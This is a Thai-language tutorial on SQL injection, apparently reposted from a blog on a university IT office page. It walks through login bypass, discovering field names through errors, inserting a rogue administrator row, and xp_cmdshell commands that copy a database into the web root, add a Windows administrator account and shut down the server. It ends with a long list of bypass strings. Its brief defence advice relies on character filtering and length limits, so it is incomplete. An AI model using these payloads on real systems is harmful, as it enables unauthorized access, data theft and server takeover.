สำนักวิทยบริการและเทคโนโลยีสารสนเทศ (สวส.)

Office of Academic Resources and Information Technology

บทความ SQL Injection [เป็นพื้นฐานที่สำคัญมากในการ Hack]

ในการตรวจสอบสิทธิ์ โปรแกรมเมอร์จะเขียน SQL Login นำตัวแปร Username และ Password ไปเป็นคำสั่ง SQL Login เพื่อทำการสืบค้นข้อมูลจากตารางชื่อ tbl_users ค่าในฟิล Username ตรงกับค่าตัวแปร strUsername ที่หน้า Login และค่า Password ตรงกับค่าตัวแปร strPassword ในหน้า Login ก็จะทำการตรวจเช็ค ถ้าใช่จะทำให้ค่าในตัวแปร strAuthCheck = 1 ถ้าไม่ใช่(ไม่ถูก)ก็เป็น 0 ทำให้โปรแกรมทราบว่าการตรวจสอบสิทธิ์ผ่านหรือไม่
     จะเกิดอะไรขึ้นถ้าตัวแปร Username และ Password ที่ถูกส่งเข้ามาตรวจสอบนั้นไม่ใช่ชื่อผู้ใช้และรหัสผ่าน แต่เป็นส่วนหนึ่งของคำสั่ง SQL ที่สามารถทำให้ความหมายของคำสั่ง SQL Login เปลี่ยนไป

การข้ามผ่านการตรวจสอบสิทธิ์

SELECT * FROM tbl_Users WHERE              |เงื่อนไขเป็นจริงเสมอ
Username='hacker' AND Password='' or 9=9;--'

การกระทำทางตรรกศาสตร์

X  and  Y  or  TRUE  มีค่าความเป็นจริงเสมอ
             '  or  9=9
คำสั่ง SQL Login จะเป็น
SELECT * FROM tbl_Users WHERE TRUE       |ถ้าเป็นอย่างงี้ก็จะเข้าสูตรตรรกเป็นจริง ทำให้การตรวจสอบสิทธิ์ผ่าน

สัญลักษณ์ ;-- หมายถึงสิ้นสุดคำสั่ง SQL แฮกเกอร์ทำการใส่เพื่อให้ Single Quote ตัวสุดท้ายเป็นโมฆะ

หลังจากผ่านการตรวจสอบสิทธ์สิ่งที่จะได้รับขึ้นอยู่กับโปรแกรมทางฝั่ง SERVER เช่น
     - เป็นผู้ใช้ที่มีชื่อเดียวกันกับ Username ที่ระบุ
     - ผู้ใช้ที่อยู่ เรคคอร์ดแรกของตาราง (ส่วนใหญ่จะเป็น Admin)
     - เป็นผู้ใช้ที่มี ID น้อยที่สุดของตาราง (ส่วนใหญ่จะเป็น Admin)
     - ได้สิทธิ์เท่ากับผู้ใช้อื่นๆ
     - ไม่ได้รับสิทธิ์อะไรเลย ขึ้นอยู่กับโปรแกรมบนฝั่ง SERVER  |แล้วจะ Login มาเพื่ออะไรกันเนี้ย

งัดแงะเพื่อหาข้อมูลเพิ่มเติม

        ' HAVING 9=9;--
เริ่มจากการงัดดูข้อมูลฟิลและชื่อตาราง โดยส่งคำสั่งที่ทำให้ SQL เกิดอาการ Eror
'employee.id'
        'GROUP BY emp_id;--

'employee.username'
        'GROUP BY username;--
'employee.feild'

ด้วยวิธีการนี้ทำให้ทราบทุกฟิลด์ เมื่อทราบข้อมูลฟิลด์ ชื่อตาราง ชื่อฐานข้อมูล แฮกเกอร์สามารส่งคำสั่ง SQL ไปทำการ INSEART ข้อมูลได้

INSERT INTO members ('email','passwd','login_id','full_name') VALUES ('hacgur@fbi.gov','PasWd123',' ','Administrator');--

พยายาม Login เป็น Admin โดยการอัดฉีด Sub

        ' or emp_id=(SELECT top 1 emp_id FROM employee order BY emp_id);--
ทั้งนี้ขึ้นอยู่กับความรู้คำสั่ง SQL และความสามารถเฉพาะตัว

ขโมยข้อมูล

'; exec master..xp_cmdshell 'copy c:\money.mdb c:\inetpub\wwwroot\';--
แล้วก็ใช้ Browser ทำการ Download มาโดยปกติ http://www.sqlinjection.com\money.mdb

' ... ;-- เริ่มต้นคำสั่งจนจบท้ายด้วย ;--

ครอบครอง SERVER โดยการเพิ่มสิทธิ์ผู้ดูแลระบบ
exec master..xp_cmdshell '';--
exec master..xp_cmdshell 'net user Hacker Passwd /add';   |ถ้ายังไม่จบก็ไม่ต้องปิดเครื่องหมาย ;--
exec master..xp_cmdshell 'net localgroup Administrator Hacker /add';--
   |ทำการเพิ่ม user ชื่อ Hacker เป็น ผู้ดูแลระบบ

หยุดการทำงานของระบบฐานข้อมูล  (Microsoft SQL SERVER) *จะรัน xp_cmdshell ได้

'; shutdown with nowait;--

การป้องกันการแฮก SQL Injection
1. ตรวจสอบการป้อนอักขระพิเศษผ่านฟอร์มอินฟุต เช่น ' ; - " | ^ % & @ ( )
2. จำกัดความยาวของฟิลด์อินพุต
3. ย้ายสคริปป้องกันทางฝั่ง ไคลเอนต์ไปไว้ฝั่ง เซริฟเวอร์
4. การแฮกแบบนี้จะสำเร็จหรือไม่ขึ้นอยู่กับโครงสร้างของโปรแกรมที่โปรแกรมเมอร์เขียนขึ้น โดยส่วนใหญ่ ASP จะมีโอกาสสำเร็จสูงกว่า PHP แต่ก็ใช่ว่า PHP จะปลอดภัยและ FIREWALL ไม่สามารถป้องกันการแฮกรูปแบบนี้ได้                   
 
ตัวอย่างในการข้ามการตรวจสอบสิทธิ์ในรูปแบบต่างๆ
 
'OR '1'='1 
' or''='
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
 
 
http://www.oknation.net/blog/print.php?id=238315